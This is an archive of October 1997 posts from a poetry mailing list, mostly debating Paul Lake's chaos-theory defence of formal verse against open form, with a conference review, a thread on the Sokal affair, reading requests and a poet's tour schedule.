Thirty years have passed since Ammons published "Corson's Inlet," and in that time, discoveries in science and mathematics have shed new light on the problems discussed in his poem--discoveries with immense significance for our understanding of form and content, nature and art, organic and mechanical form. In retrospect, Ammons' use of the phrase "not chaos" in his description of the swallows' behavior is startlingly prescient because, in fact, a whole new science of chaos--or "anti-chaos," as it's sometimes called--has come into being precisely

to explain such phenomena. Surprisingly, though, what the new sciences of chaos and complexity have shown is that Ammons is wrong in his conclusions about art and nature: that the "rule" of nature is not the sum of "rulelessness," as he proposes, but is clearly derived from formal rules and principles, which can be described and even imitated by a new form of mathematics called fractal geometry. Thanks to these new discoveries, we now know that the "order tight with shape" he observes in a tiny snail shell is the same order seen in "the large view": in coastlines, weather systems, sand dunes, mountain ranges, and galaxies. That the laws governing the growth of trees--as well as of leaves, ferns, pine cones, and sunflowers--is the same law that governs the growth of human organs, snowflakes, tornadoes, bird wings--and, I will argue, the elegant, broken symmetries of formal verse.

It turns out that writing formal poetry is not at all like pouring water into a vase, but, rather, like the growth of a tree--far more so than writing free verse, which, except in special cases, is too ruleless, arbitrary, and mechanical to produce the organic integrity of a good sonnet.

So: I'd agree with Tom Bell that he may be missing the point. Not that he isnt raising an intriguing 'defence' of trad forms, but that he seems to be insisting that there isnt any form in 'open form'. Perhaps it just takes longer to perceive it? Perhaps he cant 'see' the formal qualities of, well, here, say, Ammons's verse? Why does he have to dismiss open form in order to salvage conventional forms? And why can he not recognize any of the ways by which what Perloff calls 'radical artifice' is achieved? And why this insistence that what is for him 'the other side' is 'too ruleless, arbitrary, and mechanical to produce the organic integrity of a good sonnet'? O, why?

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

Rashomon by saxophone.
Michael Ondaatje

↑ Index

404. David Kellogg
Review of XCP
Mon 20 Oct 1997

Back last night from the XCP conference, and thought I'd give my response. First thing to note is that I was sick the first night (migraine) and generally depressed, lonely, and irritable until after I gave my paper on Saturday. Thanks to Maria (my audience), Martin Spinelli (other audience member, tho late), and my co-panelist Rod Hernandez, who gave a stirring talk on the Poco-Che Literary & Publishing Collective, which was a total revelation.

I originally wrote this starting with the high points, but then it ended on a depressing note. So now I start with the bad news.

LOW POINTS:

the controversy that wouldn't die, i.e., translation, for the continued life of which I primarily blame Dennis Tedlock, who probably is a nice guy but who could not seem to let this go, and who (inadvertently?) took the opportunity of a question on disproportionate power relations to use his own prominent place at the conference to humiliate a graduate student,

the roundtable on Ethnopoetics: What's the Use?, bravely but futilely chaired by maria damon: It's hard to tell which was worse: Maurice Kenny's "I am not a scholar" mantra, Dennis Tedlock's continued magnification of an initial misunderstanding, or Barbara Tedlock's gushing enthusiasm over new forms of ethnographic writing that seemed never to wonder EVEN FOR A MOMENT whether there might not be some kind of loss in the transition to such forms. It's too bad, because this roundtable began with a great moment, i.e., Juliana Chang SINGING a Tupac Shakur song. Her presence at this roundtable, and that of Maria -- I don't envy her role! -- brought welcome relief to an otherwise depressing and demoralizing event,

the final low point, for me, was all the conversations that didn't take place, especially between cult-studies people and poetry folks with primarily aesthetic allegiances. I plead guilty in this regard; how much more productive the conference could have been if we had taken more personal risks.

HIGH POINTS:

Brathwaite reading, long, but not as long as I'd heard he could be, still mezmerizing for me who've never seen him before (a little bird told me he did the same performance not long previous),

Schwerner reading (with flutes a plenty),

the intensely cheery chris cheek (who brought me out of my funk even when I thought he was david antin),

David Antin,

panel with Aldon Nielson on "Can Cultural Studies Speak Poetry," Sw. Anand Prahlad on new genres, and Hilton Obenzinger and his fortune cookies on writing history,

maria d. (of course!) enthusing about my co-panelist rod's book collection -- she's like a kid, isn't she?,

Ira Livingston calling Lacan "a sort of Berryman with a bungee"

the herd of (suny) buffalo and their tales of how they made the pilgramage to snowy upstate new york,

julie suk's paper on negritude, difficult to believe she's in her first year of grad school,

U Sam Oeur's poems from the killing fields, chantings that broke your heart (though I found the translations weak),

joe amato, his alter-ego jodi (last name I forget) & joe's wife kass, who put up with my bad-mouthing Duke through an entire lunch (after joe & I sung the praises of one on this list),

the care & concern of Alan Golding, Aldon Nielson, Susan Wheeler, maria d., chris cheek, and others who seemed to recognize my funk, or if they did not, alleviated it by their presence and conversation anyway. Thanks to all of you.

Cheers,
David
~~~
~~~

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405. LAURA MORIARTY
non and hypernon
Mon 20 Oct 1997

More emptiness:

Michael McElligott, Standard Schaefer, Louis Cabri and Jean Day

at http://socrates.berkeley.edu/~moriarty.htm

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406. Miekal And
Re: Review of XCP
Mon 20 Oct 1997

David Kellogg wrote:
>
> Back last night from the XCP conference, and thought I'd give my response.

> *the intensely cheery chris cheek (who brought me out of my funk*
> *even when I thought he was david antin),*

what exactly did chris do?

miekal

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407. Mark Prejsnar
Re: hear we go again
Mon 20 Oct 1997

On Mon, 20 Oct 1997, Douglas Barbour wrote:

> *So: I'd agree with Tom Bell that he may be missing the point. Not that he*
> *isnt raising an intriguing 'defence' of trad forms, but that he seems to be*
> *insisting that there isnt any form in 'open form'. Perhaps it just takes*
> *longer to perceive it? Perhaps he cant 'see' the formal qualities of, well,*
> *here, say, Ammons's verse? Why does he have to dismiss open form in order*
> *to salvage conventional forms? And why can he not recognize any of the ways*
> *by which what Perloff calls 'radical artifice' is achieved? And why this*
> *insistence that what is for him 'the other side' is 'too ruleless,*
> *arbitrary, and*
> *mechanical to produce the organic integrity of a good sonnet'? O, why?*

There is no possible reason why, that can be defended. Hidden agendas abound. There's basically no way to turn back the clock and convince any but a teeny handful of readers and practitioners, that meter, rhyme and trad forms are obligatory and should dominate poetry. It would be rather like announcing that all countries *must* return to monarchy and disassemble their republican and electoral states. So nostalgists take on a rather hectic, bullying tone, trying to achieve a formulation that will convince people that old concepts of poetic form are necessary and ineluctable. My favorite appeared in 1983...I remember because I was briefly living in Florida on the way to spending a year in Brazil...It was an essay in Poetry magazine by god-knows-who; two men as I remember, don't recall their names. They had scientific data showing that the neurological set-up of the brain *required* poetry to be in verse and rhyme...And had a futher "line of argument" (to grant it the dignity of that name...) which demonstrated that fascists and communists (these guys were pretty far right) always wrote "free verse" because these terrible totalitarian ideologies were trying to bend true human nature (which requires meter). Inspired nuttiness....

Mark P.
atlanta

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408. Christopher Alexander
e'er we go again
Mon 20 Oct 1997

I agree with Doug (how's that for a bold stance!).
one of the major problems with Lake's article is
that it's structured by what I consider a rather
pernicious version of the "free" vs "formal"
binary, one that takes those words @ face value
in alternately assuming that only work in received
forms has form, & that all other work exists as a
sort of nebulous, unstructured mass of Stuff, or
that work in received forms is necessarily rigid &
dead, & that only work that is free to "discover"
or devise its own, "organic" form, is worthwhile.
all Lake is really able to do is accept & invert this
binary to replace received form as the True Poetry -
which seems to happen in part by a slippage in his
use of the word "organic", by which he loses track
of the metaphoricity of his "chaos theory / received
form" comparison.

I'd so like it if we cld get past this. it doesn't seem
to get us anything but a familiar see-sawing motion,
& it doesn't amount to a very good defense of received
form, either. we've had this thread before, & not so
long ago as I recall, but, for the sake of argument (&
maybe engendering the same kind of repetition I
was just disparaging), how can we better understand
"form"? I wldn't be the first to say so, but nevertheless
I'd like to put forth tentatively that "form" can be
understood as the particular complex of visual, sound,
temporal, ideolectical, propositional, & ["your name here"]
other elements that comprise the poem - so that "sonnet"
can be one element in the form of a poem, but isn't sufficient
to formally define (or casually dismiss) the poem.

my saying this is at least partly to elicit or maintain an openness to un-/familiar forms. but of course what I'm really trying to avoid, & with very limited success, is the form-content binary, on which most of Lake's assumptions, & many of his chosen adversaries', are predicated. no one is "released from form" (Ammons), because meaning arises from the relation of the complex to its context. to paraphrase the big M, poems are made of words & phrases, not propositions. (end paraphrase). in this sense, all poems are referential, but differently so.

or maybe I'm missing the boat here as well. (oops).

best, Chris

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press site: http://choengmon.lib.utah.edu/~calexand/nonce/

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409. Aldon Nielsen
Minneapolis is socially constructed
Mon 20 Oct 1997

O.K. -- whos's the wise guy who actually told Bromige how to get off the list -- I turn my back for a couple days to hang out with the poetry posse in Minneapolis and come back to find that someone has actually aided and abetted Bromige in escaping with his wit to environs unreachable by my virtual self --

_____
and on that other boy we've been beating --

could somebody PLEASE cite for me ANY place in the writing of any scholar (other than SOKAL himself) where it is claimed that the force we call by the name "gravity" is itself culturally determined, as opposed to possible claims that someone's socio-linguistic/cultural experience of gravity might be culturally inflected -- so far, to judge from what I see on my screen -- we know that Weinberger says somebody said so, and we know that some college students say that somebody said so -- which says a lot to me already --

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410. **simon**
weiner book: segue people
Mon 20 Oct 1997

Dear Segue,

would you contact me please?
(sorry to bother the list with this)

thanks

beth simon
[redacted]

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411. **mark weiss**
Re: hear we go again
Mon 20 Oct 1997

Inspired nuttiness, for sure, but it nonetheless got some play, beyond support from whatever prestige _Poetry_ affords. I think it was Peter Viereck who picked up on this train of thought and went beyond it by claiming that iambic pentameter was "natural" because it mimics the heartbeat. Mine is more of a cha cha cha, but perhaps I have a cardiac problem. Although one wonders about those entire nations, like the French and the Greeks, who have traditionally danced to a different drummer. I've always wondered why writers in traditional forms are called "formalists," as their adherence to the given would seem to betray a lack of interest in form. What's always interested me is the form discoverable, fractal-like, in the apparently formless, however generated. By that criterion, most of us on this list are the true formalists.

My favorite appeared in 1983...I remember because I was
>briefly living in Florida on the way to spending a year in Brazil...It was
>an essay in Poetry magazine by god-knows-who; two men as I remember, don't
>recall their names. They had scientific data showing that the

>neurological set-up of the brain *required* poetry to be in verse and
>rhyme...And had a futher "line of argument" (to grant it the dignity of
>that name...) which demonstrated that fascists and communists (these guys
>were pretty far right) always wrote "free verse" because these terrible
>totalitarian ideologies were trying to bend true human nature (which
>requires meter). Inspired nuttiness....
>
>Mark P.
>atlanta
>
>

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412. **Pritchett,Pat**
Re: hear we go again
Mon 20 Oct 1997

Mark -

sounds like that scene in "Dead Poets Society" in which Robin Williams parodies such attempts by dissecting a poem using a graph in which X represents meaning and Y the music of the poem or some such nonsense. It struck me at the time as a jibe against the Warren/Brooks anthology - and its imaginary author's last name was Pritchett! Otherwise, though, I hated the film.

What's interesting about the formal prosody vs. open form debate is that the defenders of traditional metrics, as you relate, seem to think that form is in some magical way non-arbitrary, when it's really a case of its having been a convention for so long that it only appears to be natural and somehow "pre-ordained."

Patrick Pritchett

From: Mark Prejsnar
To: POETICS
Subject: Re: hear we go again
Date: Monday, October 20, 1997 4:15PM

  So nostalgists take on a rather hectic, bullying tone, trying to achieve a formulation that will convince people that old concepts of poetic form are necessary and ineluctable. My favorite appeared in 1983... It was an essay in Poetry magazine by god-knows-who; two men as I remember, don't recall their names. They had scientific data showing that the neurological set-up of the brain *required* poetry to be in verse and rhyme...And had a futher "line of argument" (to grant it the dignity of that name...) which demonstrated that fascists and communists (these guys were pretty far right) always wrote "free verse"

because these terrible totalitarian ideologies were trying to bend true human nature (which requires meter). Inspired nuttiness....

Mark P.
atlanta

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413. r.drake
Poetrix "reviewed"
Mon 20 Oct 1997

---

selfconcious Poetics List members might be interested in this, in the latest jrnl ov postmodern culture:

http://jefferson.village.Virginia.EDU/pmc/issue.997/review-7.997.html

if nothing else, a reminder of the public nature of our performances here on thee list...

lbd

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414. William Burmeister Prod
Re: hear we go again
Mon 20 Oct 1997

On Oct 20, 1:39pm, Mark Prejsnar wrote:
> Subject: Re: hear we go again
> On Mon, 20 Oct 1997, Douglas Barbour wrote:
>
> >
> > So: I'd agree with Tom Bell that he may be missing the point. Not that he
> > isnt raising an intriguing 'defence' of trad forms, but that he seems to be
> > insisting that there isnt any form in 'open form'. Perhaps it just takes
> > longer to perceive it? Perhaps he cant 'see' the formal qualities of, well,
> > here, say, Ammons's verse? Why does he have to dismiss open form in order
> > to salvage conventional forms? And why can he not recognize any of the ways
> > by which what Perloff calls 'radical artifice' is achieved? And why this
> > insistence that what is for him 'the other side' is 'too ruleless,
> > arbitrary, and
> > mechanical to produce the organic integrity of a good sonnet'? O, why?
> >
>

>
> There is no possible reason why, that can be defended. Hidden agendas
> abound. There's basically no way to turn back the clock and convince any
> but a teeny handful of readers and practitioners, that meter, rhyme and
> trad forms are obligatory and should dominate poetry. It would be rather
> like announcing that all countries *must* return to monarchy and
> disassemble their republican and electoral states. So nostalgists take on
> a rather hectic, bullying tone, trying to achieve a formulation that will
> convince people that old concepts of poetic form are necessary and
> ineluctable. My favorite appeared in 1983...I remember because I was
> briefly living in Florida on the way to spending a year in Brazil...It was
> an essay in Poetry magazine by god-knows-who; two men as I remember, don't
> recall their names. They had scientific data showing that the
> neurological set-up of the brain *required* poetry to be in verse and
> rhyme...And had a futher "line of argument" (to grant it the dignity of
> that name...) which demonstrated that fascists and communists (these guys
> were pretty far right) always wrote "free verse" because these terrible
> totalitarian ideologies were trying to bend true human nature (which
> requires meter). Inspired nuttiness....
>
> Mark P.
> atlanta
>-- End of excerpt from Mark Prejsnar

Hidden agendas do abound indeed and Paul Lake's essay is another, albeit scientifically ambitious and enthusiastic, instance of formalist apologetics. Far be it from me to fault him for his enthusiasm (sincerity assumed), but I reject the implication that a poem of traditional rhyme and meter can literally write itself as if it were an organic process, one of coalescence, attraction, or whatever. This late fad of tying poetic form and content into a scientific/mathematical framework/justification is reminiscent of the Grand Unified Theory, which followed on the heels of all of the quantum theory discoveries earlier this century.

Bill B.

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415. **Daniel Zimmerman**
Re: hear we go again
Mon 20 Oct 1997

Mark Prejsnar wrote:
>

> On Mon, 20 Oct 1997, Douglas Barbour wrote:
>
> >
> > So: I'd agree with Tom Bell that he may be missing the point. Not that he
> > isnt raising an intriguing 'defence' of trad forms, but that he seems to be
> > insisting that there isnt any form in 'open form'. Perhaps it just takes
> > longer to perceive it? Perhaps he cant 'see' the formal qualities of, well,
> > here, say, Ammons's verse? Why does he have to dismiss open form in order
> > to salvage conventional forms? And why can he not recognize any of the ways
> > by which what Perloff calls 'radical artifice' is achieved? And why this
> > insistence that what is for him 'the other side' is 'too ruleless,
> > arbitrary, and
> > mechanical to produce the organic integrity of a good sonnet'? O, why?
> >
>
> There is no possible reason why, that can be defended. Hidden agendas
> abound. There's basically no way to turn back the clock and convince any
> but a teeny handful of readers and practitioners, that meter, rhyme and
> trad forms are obligatory and should dominate poetry. It would be rather
> like announcing that all countries *must* return to monarchy and
> disassemble their republican and electoral states. So nostalgists take on
> a rather hectic, bullying tone, trying to achieve a formulation that will
> convince people that old concepts of poetic form are necessary and
> ineluctable. My favorite appeared in 1983...I remember because I was
> briefly living in Florida on the way to spending a year in Brazil...It was
> an essay in Poetry magazine by god-knows-who; two men as I remember, don't
> recall their names. They had scientific data showing that the
> neurological set-up of the brain *required* poetry to be in verse and
> rhyme...And had a futher "line of argument" (to grant it the dignity of
> that name...) which demonstrated that fascists and communists (these guys
> were pretty far right) always wrote "free verse" because these terrible
> totalitarian ideologies were trying to bend true human nature (which
> requires meter). Inspired nuttiness....
>
> Mark P.
> atlanta

Mark, if I find the following reference as a link, I'll post it [I looked in my bookmarks, then browsed, but it may have vanished, as much on the net one wanted

to cite does]. This genuflection before the altar of formality and its concomitant strawmannerism about the spectre of Bolshevist withering away of the strophe sounds eerily like a Lyndon LaRouche "essay" on the virtues of classical music versus the Protocols of the Youngsters of Metal. Hey: why must form lie belly-up on the surface and catchable-- sans pole, sans net, sans fight? Who'd eat a fish like that? The argument strikes me as a universalization of the "Mozart effect"--i.e., that because Mozart's [admittedly 'formal'] music raises IQ [&, I have little doubt, does much more], all formal music must possess similar virtues, or [LaRouche's point] all music ought to embody formal [i.e., immediately apparent] structures. Yeah, but: Mozart's genius engaged the formal in a special way which other classical composers evidently did not, since only his music appears to have the magical "Mozart effect." Been there, done that. So what about non-traditional exfoliations of form such as those you refer to? [I think here of D'Arcy Thompson's book on Growth & Form]. Mozart ain't Mandelbrot! Form ain't no coattail! Most of us literary types love to discover unanticipated forms and coherences in our reading, so why not in our writing? The exhortation to form for form's sake on a reader's part bespeaks a lassitude of the imagination--or at least a superfluous addiction to the metronome [superfluous because, from what I've observed of most of the proponents of Iambic-Only, they seem a rather sharp & fluent cadre, just the kind of folks one might think, after all those finger exercises, would itch to improvise, to boogie, to wail]. Can't one like both Bach & Rahsaan Roland Kirk, both Mozart and Monk? Can't we all just get along? If Einstein had stuck to Newton as his dancing master, we might not have avoided the Macarena, but forget about the Jitterbug, the Twist, and [lest we forget] the Chicken!

Best,
Dan Zimmerman

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416. **mark weiss**
Re: Minneapolis is socially constructed
Mon 20 Oct 1997

Weinberg's article and his subsequent answers to critical letters are too closely-reasoned to bear easy summary, but he does in fact cite quite a few who maintain to one degree or another that the laws of physics are social constructs and as such culturally determined. He also cites a few whose statements seem only comprehensible if viewed as expressions of the above idea but who elsewhere deny that that's what they believe. In most cases the issue may boil down to clarity and carefulness of expression rather than ideology. But that is or ought to be one of our primary concerns as writers teachers and scholars. Weinberg, by the way, in the last two paragraphs of his answers (NYR 10/3/96, p. 56),

deconstructs a hilarious compounded example of lack of clarity on the part of Derrida.

> *could somebody PLEASE cite for me ANY place in the writing of any scholar (other than SOKAL himself) where it is claimed that the force we call by the name "gravity" is itself culturally determined, as opposed to possible claims that someone's socio-linguistic/cultural experience of gravity might be culturally inflected -- so far, to judge from what I see on my screen -- we know that Weinberger says somebody said so, and we know that some college students say that somebody said so -- which says a lot to me already --*

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417. Jennifer Ashton
math/logic and poetry
Tue 21 Oct 1997

Dear list members,

I would be grateful for any reading suggestions of contemporary poets who have used mathematical or logical models as occasions for composition. Of course texts like Ashbery's _Flow Chart_ come immediately to mind, but I'm sure there are may other obvious choices that I'm just not coming up with. I am especially interested in women writers incorporating mathematical/logical systems into their work. I'll be thankful for all suggestions, obvious and obscure.

Please copy any posts to me via backchannel.

Many thanks in advance,

Jennifer Ashton
Johns Hopkins University
[redacted]

↑ Index

418. Carl Lynden Peters
Re: math/logic and poetry
Tue 21 Oct 1997

---

bpNichol!
bpNichol!
bpNichol! x all that u can read! of bp!

i luv this list; the only time i know what's happening is when th answer is bpNichol!

Mad for Bliss,

carl

> *Dear list members,*
>
> *I would be grateful for any reading suggestions of contemporary poets who have used mathematical or logical models as occasions for composition. Of course texts like Ashbery's _Flow Chart_ come immediately to mind, but I'm sure there are may other obvious choices that I'm just not coming up with. I am especially interested in women writers incorporating mathematical/logical systems into their work. I'll be thankful for all suggestions, obvious and obscure.*
>
> *Please copy any posts to me via backchannel.*
>
> *Many thanks in advance,*
>
> *Jennifer Ashton*
> *Johns Hopkins University*
> [redacted]

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419. Stephen Cope
Re: reading tour
Tue 21 Oct 1997

Although likely not part of his tour per se, David Bromige forgot to mention his reading in San Diego on November 5th, to which those within earshot whould either listen or attend...

* Wednesday, November 5: David Bromige

The author of 30 books of poetry, fiction, and song, and likened by Rochelle Owens to "a congenial terrorist equipped with a smart bomb," David Bromige has been the recipient of numerous awards, including a Gertrude Stein Award for Innovative Writing and the Poet Laureate Award from the University of California.

4:30pm at the Performing Arts Space, Visual Arts Department, on the University of California, San Diego.

[redacted] for more info.

> *I am now once again able to send messages (my thanks to Layne Russell for posting to the List in my behalf, that my "Send" function was down) and would like to take the opportunity to post the sked of my upcoming tour, Last week when I read in San francisco, Hugh Steinberg came up afterwards*

and intro'd himself : I like meeting people who hitherto were just names on the net.

Hamilton Ontario, eve of sunday oct 19 : read with Lisa Robertson in the Live Lit" series run by Kerry Schooley, who has the details at [redacted]

Buffalo, eve of monday oct 20 : read at :"Talking Leaves" books, 7 pm. Details from John Walsh, [redacted].

Toronto, eve of Wednesday, Oct 22 : read at the Arts Bar with Lisa Robertson. Details from "Pierre L'Abbe"< [redacted]*> .*

Toronto, eve of Sunday, Oct 26 : read at "The Idler", 255 Davenport (just N of Bloor, @ just W of Yonge), 8 pm, with Gregg Orr Robertson & Mark Fitkin. Further details from Peter McFee, [redacted].

SUNY Albany, eve of Wednesday, Oct 29 : reading, the details of which are with Pierre Joris, [redacted] *.*

NYC,Thursday oct 30, at Teachers & Writers, 5 Union Sq W, curator Jordan Davis ([redacted]*) : read with Alan Jennifer Sondheim, 7 pm.*

Philadelphia, Friday oct 31, at the Writers House, U Penn, at 4pm: a reading, followed by a panel discussion with Laura Moriarty (who will have read at this location the previous evening). 3805 Locust Walk. Contact persons include Louis Cabri of this List ([redacted]*)*
and Kerry Sherin ([redacted]*) .*

NYC, Saturday, Nov 1, at CAFE HERE, 145 Sixth Ave, bet. Spring & Broome ([redacted]*), curator Liz Fodaski, at 3 pm, with Brian Kim Stefans.*

Sunday Nov 2, I fly home to SF.

I hope to meet some of my fellow-listopolitans during these 2 weeks. Overnight accomodations are still soft for two nites in NYC, and a couple of nites in Toronto. I am a past winner (1993) of the James & Debbie Sherry Award for Perfect House-Guest.

I will of necessity unsubscribe from the List before I leave, probably for 3 weeks (after I return to Calif, I go to UC San Diego for a couple of days). My last full day onList will likely be Thursday.

Excuse the shameful self-promotion? Thanks, David

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420. Alicia A Cohen
Re: math/logic and poetry
Tue 21 Oct 1997

On Tue, 21 Oct 1997, Jennifer Ashton wrote:

> *Dear list members,*
>
> *I would be grateful for any reading suggestions of contemporary poets who have used mathematical or logical models as occasions for composition.*

Reading _Catastrophe Theoretic Semantics:An Elaboration and Application of Rene Thom's Thoery_ one finds the vocabulary turns with singularities and frame structures both used as titles by Susan Howe.

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421. henry
Re: hear we go again
Tue 21 Oct 1997

the "formality" issue is so complicated it's better not to scoff at anybody's contribution. (I'm not suggesting anybody HAS scoffed here on this thread.) But the form/free debate - it gets very stuffy & pedantic. Is it because the mechanics of form are generated by more subtle formalities - like the poet's relation to an audience, to an occasion, to a tradition, to a situation, to the psychology of singing anything? Hearing. What is hearing? Who hear who what hey hear here? - Henry Gould

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422. Michael Magee
Re: Minneapolis is socially constructed
Tue 21 Oct 1997

On Gravity & Aldon's comments: wasn't the Social Text spoof article by that physics professor an article on the non-existent - which is to say made-up - theory of "quantum gravity"? I believe the professors joke was based on exactly this - forcing gravity itself into the post-Kuhn belief in science-as-social-construction. As I understood it, this professor thought the idea was so stupid and scientifically bogus that ST couldn't possibly accept it, but then....

-Mike.

According to Aldon Nielsen: >
> O.K. -- whos's the wise guy who actually told Bromige how to get off the
> list -- I turn my back for a couple days to hang out with the poetry posse
> in Minneapolis and come back to find that someone has actually aided and

> abetted Bromige in escaping with his wit to environs unreachable by my
> virtual self --
>
> _____
> and on that other boy we've been beating --
>
> could somebody PLEASE cite for me ANY place in the writing of any scholar
> (other than SOKAL himself) where it is claimed that the force we call by
> the name "gravity" is itself culturally determined, as opposed to possible
> claims that someone's socio-linguistic/cultural experience of gravity might
> be culturally inflected -- so far, to judge from what I see on my screen --
> we know that Weinberger says somebody said so, and we know that some
> college students say that somebody said so -- which says a lot to me
> already --
>

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423. Rachel Loden
Re: math/logic and poetry
Tue 21 Oct 1997

Dear Jennifer Ashton,

Mathematics is the core (and the scaffolding) for Stephanie Strickland's _True North_, print version from Notre Dame, hypertext (soon) from Eastgate Systems.

In selecting _True North_ for the di Castagnola Award, Barbara Guest wrote that Strickland "possesses those virtues of the poet I find most desirable and endurable: imagination, intelligence, and what can only be viewed as a passion for the subject matter; this together with a firm respect for the independent structure of the poem."

Rachel Loden

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424. Burt Kimmelman
Re: Minneapolis is socially constructed
Tue 21 Oct 1997

Aldon, Mark et al.,

I can't point out anything of interest specific to the Sokal thing, but (and here I run the risk of not knowing that someone else might have already pointed out the following, and also the risk of stating the obvious) feminist philosophers of

science such as marion namenwirth and evelyn fox keller, to name only two of many, advance the premise that, of course, there is a SOMEONE who evaluates data, and that someone is in part a cultural construct as well as a gender construct; thus two different people will interpret data in different ways. And so we approach the world according to our respective proclivities. Someone who sees the world as a virgin to be exploited and penetrated, who sees the world as "out there," will read data differently then someone who sees the world as a Gaia that is enveloping or whatever.

I'm sure this has been of no help whatsoever.

Burt

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425. **Henry Gould**
Re: now hear this
Tue 21 Oct 1997

Another problem with being a "formalist" is that it's like defending the existence of air or the continuing value of drinking water. But it would be too bad if the noisy defenders of tradition (like that guy Blarnes) turned people off. All Poets (listening, All Poets?) should bow down & do humble obeisance to those jongleurs, troubadours, bards, hymnists, vates, fine ladies & gents all, of times past who invented strict metrics, paranomasia, formal forms, triple-somersault sonnets, ceremonial circumcisional cantonics, and so on. Without them, lads & lassies, we would be nowhere, there would be no art of poesie. you can talk all you want about natural, discovered, hermetic, found, fractal forms - you can also go live in the woods & crawl around on all fours like Nebuchadnezzar & find spirals under mushrooms. but it's hard to dance if your beard's too long. even Ezekiel shaved now & then.

moreover, this "debate" is the usual people talking past each other. Poets have to accept the fact that unless they've tried received forms themselves, then strictly speaking they don't know what they're talking about. And torqueing metal & lifting struts & planning how to stretch the titanium over 1100 wrapped charitable organizations is at least as good exercise for poets as wandering around the tree farm absorbing epiphanies, or doing the dog pound in different voices. You have to discover just how difficult it all is before you discover how easy it is - & then if you're any good you discover how difficult it really is. Besides which, it's all still undiscovered territory. Think what spaces of hearing there are between those poets & readers who really HEAR metrics; and those who really HEAR tone of voice or social idioms & dialects; and those who really HEAR allusions & references & blending of echoes; and those who really are ATTUNED to an overall emotional coloring set to music... & are there really

poets who can handle all dis? (Blarnes was in his cups the other day over at the Zinc Bar & muttered something like he was giving away something!... I think he said "rhyme helps" or "gin gulps" or something...)

- Henry gould

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426. Douglas Barbour

Re: e'er we go again

Tue 21 Oct 1997

Nah, I'd agree with chris alexander: let's get by the binaries, especially the form/content one. But, even if it's impossible to fully do so, it is worth the try.

Of course we have had this conversation before (even in the time Ive been here), & I quoted yon George Bowering then so wont do it again. But for me, any poem that gets through to me definitely has interesting formal qualities (& [therefore?] says something interesting too). I like what you 'put forth tentatively', Chris, 'that "form" can be understood as the particular complex of visual, sound, temporal, ideolectical, propositional, & ["your name here"] other elements that comprise the poem - so that "sonnet" can be one element in the form of a poem, but isn't sufficient to formally define (or casually dismiss) the poem.'

Hey, that's a start...

Doug

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==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

↑ Index

427. henry gould
hear we go one more time
Tue 21 Oct 1997

Finding form after the fact is a little like playing tennis with the net down and keeping score by comparing your strokes to a formula based on an ideal tennis match inverted 180 degrees and under-the-ping-pong-tabling some loose turf to the judge. Finding form in process is a little like playing tennis with your hands blindfolded and discovering you can see little squares in a fish-like pattern through the imaginary net. - Henry Gould

↑ Index

428. Joel Kuszai
MONDAY NIGHT POETRY
Tue 21 Oct 1997

MONDAY NIGHT POETRY

(from Bromige, man or urban myth--the Tour 97)

David Bromige read last night to a small but enthusiastic crowd at Buffalo's own Talking Leaves Bookstore. Reading from mostly new work, the reading was highlighted by his reading from the new three-part serial poem--a variously-driven work (driven in the sense of "driver" as in printer driver) as the poem's various mechanical means serve up the gamut--a range which didn't seem to over-bear. A curiously un-vacate.

Afterward he remarked that he hadn't ever written a serial poem. That surprised me. I'd like to read it. I think the three sections were the title of the poem: "initialization" "etc.etc." (three steps of "logging in" although he had modified one of them--I forget the title ex-actly) Some of it was "disjunctive" as he said at the gathering afterward (trying to shout over the big-screen tee-vee blasting the buffalo bill's monday night football game gainst the dreaded colts of indy) as if somehow the disjunctive qualities of contemporary poetry were somehow going to be more to my liking. whippersnapper.

But I don't think it is necessary to assume that a thirty-year old poet is going to automatically "dig" disjunction as a method of poetry behavior. Seems that disjunction used throughout the ages has produced a number of effects--and that disjunctive syntax would be something that would characterize (most generally) what is often thought of as "poetic." That it is marked-off as being a "device" automatically signalls its literariness. The use of devices is what makes works literary and also usually a point of conflict in on-going literary debates. (i.e. the

terms of "disjunction" are contested points) And disjunction does not mean a work is untintelligible or asyntactical (which is the most common mistake, I suppose, made about the work of JML). As Mac Hammond wrote in "Poetics Syntax":

When we are dealing with fragmentary syntax, I think we must recall this pertinent observation by Leonard Bloomfield: "a linguistic form, as actually uttered, always contains a grammatical form. No matter how simple a form we take and how we utter it, we have already made some selection by virtue of which the utterance conveys a grammatical meaning in addition to its lexical content" [L. Bloomfield, Language. New York, 1933. p.1689-69] [for full Mac Hammond text, see http://writing.upenn.edu/~kuszai/vortex/4.html]

Bromige's disjunction seemed epiphanic as opposed to administrative. And while I like a lot of administrative verse, it was really great to hear him read. He gave a terrific reading and it was great to meet him afterward. It's too bad that so many people had things to do as it was one of the best readings of the year so far here in Buffalo.

Driving home, after the reading, listening to the Bill's hold tight to their 3pt lead, I noticed that the streets were deserted, everything quiet. It was as if a bomb had nestled itself in the city, smothering like a wall-size lakefront fog rolling in off the dark. Quiet and still, only the blue-flicker of the tube electric in every household to show for the lack of touchdowns produced by a rebuilding offense. I wonder, where have the poetry audiences gone in this town? Why do so many things happen if so few people show? Why? Does everyone hate poetry that much? David was lovely and angelic--it seems that is what has been called for here by the murmuring mob of the quotidian poetix haunts of beefalo. Why no attendee?

I propose a one year moritorium on all readings--all self-congratulatory local productions, all visitors, everything--

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429. Jordan Davis
what blarnes muttered
Tue 21 Oct 1997

Blarnes muttered the entire preface to paradise lost, henry... I prescribe two seltzers --

great report from beefalo, Joel, but please no moratorium --

Jordan

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430. Safdie Joseph
Poets on Prose
Tue 21 Oct 1997

As one of my favorite novelists, Joan Didion, got trashed on the list a few weeks back, I was curious to see if another contemporary I revere highly, Don DeLillo, would share the same fate. I saw him last night at a rare public appearance (in Seattle) and he was fascinating -- talking more like a poet, actually, than a novelist (please . . . I know the standard objections to that division), concentrating on the language being the primal force, antecedent to history, but also opining that "history" (which he called a three-dimensional construct of enormous power) would always be in antagonism with the writer's imagination, and that those different forces were always battling while he composed his works. A lucid, supremely intelligent evening. Anyone else see him, or start Underworld yet?

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431. Christopher Alexander
Re: hear we go again
Tue 21 Oct 1997

henry ghould wrts:
> Is it because the mechanics of form are generated by more subtle
> formalities - like the poet's relation to an audience, to an occasion,
